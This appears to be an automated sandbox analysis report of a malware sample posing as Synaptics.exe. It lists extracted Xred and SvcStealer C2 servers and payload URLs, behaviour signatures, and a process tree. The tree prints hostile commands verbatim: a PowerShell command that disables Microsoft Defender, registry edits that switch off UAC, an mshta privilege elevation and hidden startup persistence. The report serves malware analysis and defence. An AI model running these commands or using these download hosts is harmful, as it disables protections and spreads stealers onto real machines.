Resubmissions
29/07/2026, 09:27
260729-le461adl4y1025/07/2026, 16:39
260725-t563aaag871008/11/2025, 17:35
251108-v5363acv5d1002/11/2025, 23:51
251102-3wgwgadl7x1001/11/2025, 12:53
251101-p4t9wasnhm1001/11/2025, 12:49
251101-p2d5wasnhj1001/11/2025, 04:57
251101-fk849a1ncn1031/10/2025, 18:11
251031-wspnksak2v10Analysis
- max time kernel
52s - max time network
151s - platform
windows10-2004_x64 - resource
win10v2004-20251016-en - resource tags
- submitted
31/10/2025, 18:11
General
- Target Synaptics.exe
- Size 764KB
- Sample251031-wspnksak2v
- SHA256 4e5cc8cb98584335400d00f0a0803c3e0202761f3fbe50bcab3858a80df255e1
Score
10/10
Malware Config
Extracted
Family
-
xred
C2
-
xred.mooo.com
Attributes
-
payload_url
http://freedns.afraid.org/api/?action=getdyndns&sha=a30fa98efc092684e8d1c5cff797bcc613562978
https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download
https://www.dropbox.com/s/n1w4p8gc6jzo0sg/SUpdate.ini?dl=1
http://xred.site50.net/syn/SUpdate.ini
https://docs.google.com/uc?id=0BxsMXGfPIZfSVzUyaHFYVkQxeFk&export=download
https://www.dropbox.com/s/zhp1b06imehwylq/Synaptics.rar?dl=1
http://xred.site50.net/syn/Synaptics.rar
https://docs.google.com/uc?id=0BxsMXGfPIZfSTmlVYkxhSDg5TzQ&export=download
https://www.dropbox.com/s/fzj752whr3ontsm/SSLLibrary.dll?dl=1
http://xred.site50.net/syn/SSLLibrary.dll
Extracted
Family
-
svcstealer
C2
-
http://176.46.152.46/diamo/data.php
-
http://158.94.208.102/diamo/data.php
-
http://178.16.53.7/diamo/data.php
-
http://nikmok.dz/diamo/data.php
-
http://176.46.152.47/diamo/data.php
Attributes
-
bot_urls
http://213.226.113.54/bin/bot.dll
-
build_id
20/10/2025
-
srv_delay
1
-
srv_retry
1
Signatures
- A stealer written in Python and packaged with Pyinstaller 2 IoCs
- Amadey
Amadey bot is a simple trojan bot primarily used for collecting reconnaissance information.
- Amadey family
- Ammyy Admin
Remote admin tool with various capabilities.
- AmmyyAdmin payload 1 IoCs
- Ammyyadmin family
- Blankgrabber family
- Detects Amadey x86-bit Payload 1 IoCs
- FlawedAmmyy RAT
Remote-access trojan based on leaked code for the Ammyy remote admin software.
- Flawedammyy family
- SvcStealer, Diamotrix
SvcStealer aka Diamotrix Clipper is a stealer/downloader written in C++.
- Svcstealer family
- UAC bypass 3 TTPs 3 IoCs
- XMRig Miner payload 3 IoCs
- Xmrig family
- Xred
Xred is backdoor written in Delphi.
- Xred family
- blankgrabber
Blankgrabber is an infostealer written in Python and packaged with Pyinstaller.
- xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
- Command and Scripting Interpreter: PowerShell 1 TTPs 34 IoCs
Run Powershell and hide display window.
- Disables one or more Microsoft Defender components 1 TTPs 2 IoCs
Uses the Powershell Set-MpPreference cmdlet to disable one or more Microsoft Defender components.
- Downloads MZ/PE file 13 IoCs
- Modifies Windows Firewall 2 TTPs 18 IoCs
- Possible privilege escalation attempt 2 IoCs
- Sets file to hidden 1 TTPs 1 IoCs
Modifies file attributes to stop it showing in Explorer etc.
- ASPack v2.12-2.42 1 IoCs
Detects executables packed with ASPack v2.12-2.42
- Checks computer location settings 2 TTPs 16 IoCs
Looks up country code configured in the registry, likely geofence.
- Clipboard Data 1 TTPs 1 IoCs
Adversaries may collect data stored in the clipboard from users copying information within or between applications.
- Disables service(s) 3 TTPs
- Drops startup file 3 IoCs
- Executes dropped EXE 34 IoCs
- Loads dropped DLL 45 IoCs
- Modifies file permissions 1 TTPs 2 IoCs
- Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
- Stops running service(s) 4 TTPs
- Unsecured Credentials: Credentials In Files 1 TTPs
Steal credentials from unsecured files.
- Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
- Adds Run key to start application 2 TTPs 3 IoCs
- Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
- File and Directory Permissions Modification: Windows File and Directory Permissions Modification 1 TTPs
- Legitimate hosting services abused for malware hosting/C2 1 TTPs 10 IoCs
- Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
- Network Share Discovery 1 TTPs
Attempt to gather information on host network.
- Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
- Writes to the Master Boot Record (MBR) 1 TTPs 2 IoCs
Bootkits write to the MBR to gain persistence at a level below the operating system.
- Drops file in System32 directory 24 IoCs
- Enumerates processes with tasklist 1 TTPs 5 IoCs
- Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs
- UPX packed file 64 IoCs
Detects executables packed with UPX/modified UPX open source packer.
- Checks for VirtualBox DLLs, possible anti-VM trick 1 TTPs 1 IoCs
Certain files are specific to VirtualBox VMs and can be used to detect execution in a VM.
- Drops file in Windows directory 2 IoCs
- Launches sc.exe 4 IoCs
Sc.exe is a Windows utlilty to control services on the system.
- Access Token Manipulation: Create Process with Token 1 TTPs 1 IoCs
- Browser Information Discovery 1 TTPs
Enumerate browser information.
- Detects Pyinstaller 3 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- System Location Discovery: System Language Discovery 1 TTPs 60 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 4 IoCs
Adversaries may check for Internet connectivity on compromised systems.
- System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 1 IoCs
Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.
- Checks processor information in registry 2 TTPs 7 IoCs
Processor information is often read in order to detect sandboxing environments.
- Delays execution with timeout.exe 2 IoCs
- Enumerates system info in registry 2 TTPs 6 IoCs
- Kills process with WMI 9 IoCs
- Kills process with taskkill 2 IoCs
- Modifies data under HKEY_USERS 13 IoCs
- Modifies registry class 7 IoCs
- Runs net.exe
- Runs ping.exe 1 TTPs 4 IoCs
- Scheduled Task/Job: Scheduled Task 1 TTPs 5 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
- Suspicious behavior: AddClipboardFormatListener 1 IoCs
- Suspicious behavior: EnumeratesProcesses 64 IoCs
- Suspicious behavior: GetForegroundWindowSpam 1 IoCs
- Suspicious behavior: MapViewOfSection 1 IoCs
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 4 IoCs
- Suspicious use of AdjustPrivilegeToken 64 IoCs
- Suspicious use of FindShellTrayWindow 3 IoCs
- Suspicious use of SendNotifyMessage 1 IoCs
- Suspicious use of SetWindowsHookEx 15 IoCs
- Suspicious use of WriteProcessMemory 64 IoCs
- Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
- Views/modifies file attributes 1 TTPs 24 IoCs
Processes
-
C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\AppData\Local\Temp\Synaptics.exe"C:\Users\Admin\AppData\Local\Temp\Synaptics.exe"2⤵
- Checks computer location settings
- Adds Run key to start application
- System Location Discovery: System Language Discovery
- Modifies registry class
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\._cache_Synaptics.exe"C:\Users\Admin\AppData\Local\Temp\._cache_Synaptics.exe"3⤵
- Downloads MZ/PE file
- Checks computer location settings
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\Files\setup.exe"C:\Users\Admin\AppData\Local\Temp\Files\setup.exe"4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
-
C:\Users\Admin\AppData\Local\Temp\Files\G7_Update.exe"C:\Users\Admin\AppData\Local\Temp\Files\G7_Update.exe"4⤵
- Checks computer location settings
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\GMT\UpdateDIr\G7_Update_240401\install.bat" "5⤵
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\taskkill.exeTaskkill /f /im "BasmDocu.exe"6⤵
- System Location Discovery: System Language Discovery
- Kills process with taskkill
-
-
C:\Windows\SysWOW64\timeout.exetimeout /t 16⤵
- System Location Discovery: System Language Discovery
- Delays execution with timeout.exe
-
-
C:\GMT\UpdateDIr\G7_Update_240401\IniEditor.exeIniEditor.exe6⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\ChatLife.exe"C:\Users\Admin\AppData\Local\Temp\Files\ChatLife.exe"4⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c copy Confirmed Confirmed.cmd & Confirmed.cmd5⤵
-
C:\Windows\SysWOW64\tasklist.exetasklist6⤵
- Enumerates processes with tasklist
-
-
C:\Windows\SysWOW64\findstr.exefindstr /I "wrsa.exe opssvc.exe"6⤵
-
-
C:\Windows\SysWOW64\tasklist.exetasklist6⤵
- Enumerates processes with tasklist
-
-
C:\Windows\SysWOW64\findstr.exefindstr /I "avastui.exe avgui.exe nswscsvc.exe sophoshealth.exe"6⤵
-
-
C:\Windows\SysWOW64\cmd.execmd /c md 7683186⤵
-
-
C:\Windows\SysWOW64\findstr.exefindstr /V "PhoneAbcSchedulesApr" Nbc6⤵
-
-
C:\Windows\SysWOW64\cmd.execmd /c copy /b Challenged + Diy + Teachers + California + Mba + Yarn + Payable + Zdnet + Plumbing + Pe + Trick + Betting + Absence + Motorcycles + Man + Analyst + Max + Patrick + Pg + Exemption + Sight 768318\B6⤵
-
-
C:\Users\Admin\AppData\Local\Temp\768318\Paraguay.pif768318\Paraguay.pif 768318\B6⤵
-
C:\Windows\SysWOW64\cmd.execmd /k echo [InternetShortcut] > "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\TradeWise.url" & echo URL="C:\Users\Admin\AppData\Local\TradeInsight Technologies\TradeWise.js" >> "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\TradeWise.url" & exit7⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV18⤵
-
-
-
-
C:\Windows\SysWOW64\timeout.exetimeout 56⤵
- Delays execution with timeout.exe
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\keygen.exe"C:\Users\Admin\AppData\Local\Temp\Files\keygen.exe"4⤵
-
-
C:\Users\Admin\AppData\Local\Temp\Files\vnc.exe"C:\Users\Admin\AppData\Local\Temp\Files\vnc.exe"4⤵
-
-
C:\Users\Admin\AppData\Local\Temp\Files\EakLauncher.exe"C:\Users\Admin\AppData\Local\Temp\Files\EakLauncher.exe"4⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://discord.gg/rsM4AgvAhn5⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\Round_Setup.exe"C:\Users\Admin\AppData\Local\Temp\Files\Round_Setup.exe"4⤵
-
-
-
C:\ProgramData\Synaptics\Synaptics.exe"C:\ProgramData\Synaptics\Synaptics.exe" InjUpdate3⤵
- Checks computer location settings
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
- Modifies registry class
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\._cache_Synaptics.exe"C:\Users\Admin\AppData\Local\Temp\._cache_Synaptics.exe" InjUpdate4⤵
- Downloads MZ/PE file
- Checks computer location settings
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\AppData\Local\Temp\Files\CrazyCoach.exe"C:\Users\Admin\AppData\Local\Temp\Files\CrazyCoach.exe"5⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of SetWindowsHookEx
-
-
C:\Users\Admin\AppData\Local\Temp\Files\hailhydra.exe"C:\Users\Admin\AppData\Local\Temp\Files\hailhydra.exe"5⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\Files\hailhydra.exe"C:\Users\Admin\AppData\Local\Temp\Files\hailhydra.exe"6⤵
- Executes dropped EXE
- Loads dropped DLL
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\random.exe"C:\Users\Admin\AppData\Local\Temp\Files\random.exe"5⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
-
C:\Users\Admin\AppData\Local\Temp\Files\Software.exe"C:\Users\Admin\AppData\Local\Temp\Files\Software.exe"5⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\Files\Software.exe"C:\Users\Admin\AppData\Local\Temp\Files\Software.exe"6⤵
- Executes dropped EXE
- Loads dropped DLL
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Files\Software.exe'"7⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Files\Software.exe'8⤵
- Command and Scripting Interpreter: PowerShell
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"7⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend8⤵
- Command and Scripting Interpreter: PowerShell
- Disables one or more Microsoft Defender components
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "tasklist /FO LIST"7⤵
-
C:\Windows\system32\tasklist.exetasklist /FO LIST8⤵
- Enumerates processes with tasklist
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"7⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic csproduct get uuid8⤵
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\Bloxflip%20Predictor.exe"C:\Users\Admin\AppData\Local\Temp\Files\Bloxflip%20Predictor.exe"5⤵
- Checks computer location settings
- Drops startup file
- Executes dropped EXE
- Adds Run key to start application
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
-
C:\Windows\Bloxflip Predictor.exe"C:\Windows\Bloxflip Predictor.exe"6⤵
- Drops startup file
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\attrib.exeattrib +h +r +s "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Windows.exe"7⤵
- Views/modifies file attributes
-
-
C:\Windows\SysWOW64\attrib.exeattrib +h +r +s "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\Windows.exe"7⤵
- Views/modifies file attributes
-
-
-
C:\Windows\SysWOW64\attrib.exeattrib +h +r +s "C:\Windows\Bloxflip Predictor.exe"6⤵
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Views/modifies file attributes
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV17⤵
-
-
-
-
-
-
-
C:\ProgramData\Synaptics\Synaptics.exeC:\ProgramData\Synaptics\Synaptics.exe1⤵
- Checks computer location settings
- Executes dropped EXE
- Drops file in System32 directory
- System Location Discovery: System Language Discovery
- Modifies registry class
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\._cache_Synaptics.exe"C:\Windows\system32\._cache_Synaptics.exe"2⤵
- Downloads MZ/PE file
- Checks computer location settings
- Executes dropped EXE
- Drops file in System32 directory
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\Files\pornhub_downloader.exe"C:\Windows\System32\Files\pornhub_downloader.exe"3⤵
- Checks computer location settings
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exe"C:\Windows\sysnative\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\9143.tmp\9144.tmp\9145.bat C:\Windows\SysWOW64\Files\pornhub_downloader.exe"4⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\mshta.exemshta vbscript:createobject("shell.application").shellexecute("C:\Windows\SysWOW64\Files\PORNHU~1.EXE","goto :target","","runas",1)(window.close)5⤵
- Checks computer location settings
- Access Token Manipulation: Create Process with Token
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\Files\PORNHU~1.EXE"C:\Windows\SysWOW64\Files\PORNHU~1.EXE" goto :target6⤵
- Checks computer location settings
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exe"C:\Windows\sysnative\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\9347.tmp\9348.tmp\9349.bat C:\Windows\SysWOW64\Files\PORNHU~1.EXE goto :target"7⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "ConsentPromptBehaviorAdmin" /t reg_dword /d 0 /F8⤵
- UAC bypass
-
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "EnableLUA" /t reg_dword /d 0 /F8⤵
- UAC bypass
-
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "PromptOnSecureDesktop" /t reg_dword /d 0 /F8⤵
- UAC bypass
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "reg query HKEY_CLASSES_ROOT\http\shell\open\command"8⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\reg.exereg query HKEY_CLASSES_ROOT\http\shell\open\command9⤵
-
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://www.pornhub.com/8⤵
- Checks processor information in registry
- Enumerates system info in registry
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of FindShellTrayWindow
- Suspicious use of WriteProcessMemory
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=133.0.6943.99 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=133.0.3065.69 --initial-client-data=0x2c8,0x2cc,0x2d0,0x2c4,0x360,0x7ffdc2c0f208,0x7ffdc2c0f214,0x7ffdc2c0f2209⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --string-annotations --gpu-preferences=UAAAAAAAAADgAAAEAAAAAAAAAAAAAAAAAABgAAEAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAEAAAAAAAAAAIAAAAAAAAAAgAAAAAAAAA --always-read-main-dll --field-trial-handle=2192,i,13572805575549831961,139238597222718723,262144 --variations-seed-version --mojo-platform-channel-handle=2188 /prefetch:29⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --string-annotations --always-read-main-dll --field-trial-handle=1772,i,13572805575549831961,139238597222718723,262144 --variations-seed-version --mojo-platform-channel-handle=2292 /prefetch:39⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --string-annotations --always-read-main-dll --field-trial-handle=2524,i,13572805575549831961,139238597222718723,262144 --variations-seed-version --mojo-platform-channel-handle=2540 /prefetch:89⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --field-trial-handle=3480,i,13572805575549831961,139238597222718723,262144 --variations-seed-version --mojo-platform-channel-handle=3504 /prefetch:19⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --field-trial-handle=3520,i,13572805575549831961,139238597222718723,262144 --variations-seed-version --mojo-platform-channel-handle=3544 /prefetch:19⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --always-read-main-dll --field-trial-handle=4116,i,13572805575549831961,139238597222718723,262144 --variations-seed-version --mojo-platform-channel-handle=4244 /prefetch:19⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --extension-process --renderer-sub-type=extension --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --always-read-main-dll --field-trial-handle=4292,i,13572805575549831961,139238597222718723,262144 --variations-seed-version --mojo-platform-channel-handle=4388 /prefetch:29⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --video-capture-use-gpu-memory-buffer --string-annotations --always-read-main-dll --field-trial-handle=5144,i,13572805575549831961,139238597222718723,262144 --variations-seed-version --mojo-platform-channel-handle=5168 /prefetch:89⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --video-capture-use-gpu-memory-buffer --string-annotations --always-read-main-dll --field-trial-handle=3660,i,13572805575549831961,139238597222718723,262144 --variations-seed-version --mojo-platform-channel-handle=3696 /prefetch:89⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_xpay_wallet.mojom.EdgeXPayWalletService --lang=en-US --service-sandbox-type=utility --video-capture-use-gpu-memory-buffer --string-annotations --always-read-main-dll --field-trial-handle=5064,i,13572805575549831961,139238597222718723,262144 --variations-seed-version --mojo-platform-channel-handle=5116 /prefetch:89⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --video-capture-use-gpu-memory-buffer --string-annotations --always-read-main-dll --field-trial-handle=5644,i,13572805575549831961,139238597222718723,262144 --variations-seed-version --mojo-platform-channel-handle=5736 /prefetch:89⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-US --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --video-capture-use-gpu-memory-buffer --string-annotations --always-read-main-dll --field-trial-handle=5652,i,13572805575549831961,139238597222718723,262144 --variations-seed-version --mojo-platform-channel-handle=5756 /prefetch:89⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.69\identity_helper.exe"C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.69\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --video-capture-use-gpu-memory-buffer --string-annotations --always-read-main-dll --field-trial-handle=5376,i,13572805575549831961,139238597222718723,262144 --variations-seed-version --mojo-platform-channel-handle=6284 /prefetch:89⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.69\identity_helper.exe"C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.69\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --video-capture-use-gpu-memory-buffer --string-annotations --always-read-main-dll --field-trial-handle=5376,i,13572805575549831961,139238597222718723,262144 --variations-seed-version --mojo-platform-channel-handle=6284 /prefetch:89⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --video-capture-use-gpu-memory-buffer --string-annotations --always-read-main-dll --field-trial-handle=6436,i,13572805575549831961,139238597222718723,262144 --variations-seed-version --mojo-platform-channel-handle=6392 /prefetch:89⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --video-capture-use-gpu-memory-buffer --string-annotations --always-read-main-dll --field-trial-handle=6432,i,13572805575549831961,139238597222718723,262144 --variations-seed-version --mojo-platform-channel-handle=6560 /prefetch:89⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --video-capture-use-gpu-memory-buffer --string-annotations --always-read-main-dll --field-trial-handle=6792,i,13572805575549831961,139238597222718723,262144 --variations-seed-version --mojo-platform-channel-handle=6392 /prefetch:89⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --video-capture-use-gpu-memory-buffer --string-annotations --always-read-main-dll --field-trial-handle=6576,i,13572805575549831961,139238597222718723,262144 --variations-seed-version --mojo-platform-channel-handle=6656 /prefetch:89⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --video-capture-use-gpu-memory-buffer --string-annotations --always-read-main-dll --field-trial-handle=6848,i,13572805575549831961,139238597222718723,262144 --variations-seed-version --mojo-platform-channel-handle=6860 /prefetch:89⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --video-capture-use-gpu-memory-buffer --string-annotations --always-read-main-dll --field-trial-handle=7012,i,13572805575549831961,139238597222718723,262144 --variations-seed-version --mojo-platform-channel-handle=6852 /prefetch:89⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --video-capture-use-gpu-memory-buffer --string-annotations --always-read-main-dll --field-trial-handle=7020,i,13572805575549831961,139238597222718723,262144 --variations-seed-version --mojo-platform-channel-handle=7044 /prefetch:89⤵
-
-
